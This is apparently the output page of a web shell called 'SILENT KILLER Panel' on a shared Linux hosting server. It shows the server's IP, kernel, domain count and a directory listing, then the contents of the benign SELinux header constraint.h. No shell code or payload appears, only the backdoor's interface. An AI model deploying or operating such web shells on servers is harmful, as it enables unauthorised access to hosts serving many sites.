SILENT KILLERPanel

Current Path: > > usr > > include > sepol > > policydb


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //usr//include/sepol//policydb

NameTypeSizeLast ModifiedActions
avrule_block.h File 1637 bytes October 09 2021 02:44:18.
avtab.h File 4743 bytes October 09 2021 02:44:18.
conditional.h File 4733 bytes October 09 2021 02:44:18.
constraint.h File 2571 bytes October 09 2021 02:44:18.
context.h File 3332 bytes October 09 2021 02:44:18.
ebitmap.h File 3176 bytes October 09 2021 02:44:18.
expand.h File 3656 bytes October 09 2021 02:44:18.
flask.h File 4992 bytes October 09 2021 02:44:18.
flask_types.h File 1779 bytes October 09 2021 02:44:18.
hashtab.h File 4392 bytes October 09 2021 02:44:18.
hierarchy.h File 1818 bytes October 09 2021 02:44:18.
link.h File 517 bytes October 09 2021 02:44:18.
mls_types.h File 4376 bytes October 09 2021 02:44:18.
module.h File 1532 bytes October 09 2021 02:44:18.
polcaps.h File 721 bytes October 09 2021 02:44:18.
policydb.h File 25976 bytes October 09 2021 02:44:18.
services.h File 8583 bytes October 09 2021 02:44:18.
sidtab.h File 1976 bytes October 09 2021 02:44:18.
symtab.h File 1102 bytes October 09 2021 02:44:18.
util.h File 1461 bytes October 09 2021 02:44:18.

Reading File: //usr//include/sepol//policydb/constraint.h

/* Author : Stephen Smalley, <sds@tycho.nsa.gov> */

/* FLASK */

/*
 * A constraint is a condition that must be satisfied in
 * order for one or more permissions to be granted.  
 * Constraints are used to impose additional restrictions
 * beyond the type-based rules in `te' or the role-based
 * transition rules in `rbac'.  Constraints are typically
 * used to prevent a process from transitioning to a new user 
 * identity or role unless it is in a privileged type.
 * Constraints are likewise typically used to prevent a
 * process from labeling an object with a different user
 * identity.   
 */

#ifndef _SEPOL_POLICYDB_CONSTRAINT_H_
#define _SEPOL_POLICYDB_CONSTRAINT_H_

#include <sepol/policydb/policydb.h>
#include <sepol/policydb/ebitmap.h>
#include <sepol/policydb/flask_types.h>

#ifdef __cplusplus
extern "C" {
#endif

#define CEXPR_MAXDEPTH 5

struct type_set;

typedef struct constraint_expr {
#define CEXPR_NOT		1	/* not expr */
#define CEXPR_AND		2	/* expr and expr */
#define CEXPR_OR		3	/* expr or expr */
#define CEXPR_ATTR		4	/* attr op attr */
#define CEXPR_NAMES		5	/* attr op names */
	uint32_t expr_type;	/* expression type */

#define CEXPR_USER 1		/* user */
#define CEXPR_ROLE 2		/* role */
#define CEXPR_TYPE 4		/* type */
#define CEXPR_TARGET 8		/* target if set, source otherwise */
#define CEXPR_XTARGET 16	/* special 3rd target for validatetrans rule */
#define CEXPR_L1L2 32		/* low level 1 vs. low level 2 */
#define CEXPR_L1H2 64		/* low level 1 vs. high level 2 */
#define CEXPR_H1L2 128		/* high level 1 vs. low level 2 */
#define CEXPR_H1H2 256		/* high level 1 vs. high level 2 */
#define CEXPR_L1H1 512		/* low level 1 vs. high level 1 */
#define CEXPR_L2H2 1024		/* low level 2 vs. high level 2 */
	uint32_t attr;		/* attribute */

#define CEXPR_EQ     1		/* == or eq */
#define CEXPR_NEQ    2		/* != */
#define CEXPR_DOM    3		/* dom */
#define CEXPR_DOMBY  4		/* domby  */
#define CEXPR_INCOMP 5		/* incomp */
	uint32_t op;		/* operator */

	ebitmap_t names;	/* names */
	struct type_set *type_names;

	struct constraint_expr *next;	/* next expression */
} constraint_expr_t;

typedef struct constraint_node {
	sepol_access_vector_t permissions;	/* constrained permissions */
	constraint_expr_t *expr;	/* constraint on permissions */
	struct constraint_node *next;	/* next constraint */
} constraint_node_t;

struct policydb;

extern int constraint_expr_init(constraint_expr_t * expr);
extern void constraint_expr_destroy(constraint_expr_t * expr);

#ifdef __cplusplus
}
#endif

#endif				/* _CONSTRAINT_H_ */

/* FLASK */

SILENT KILLER Tool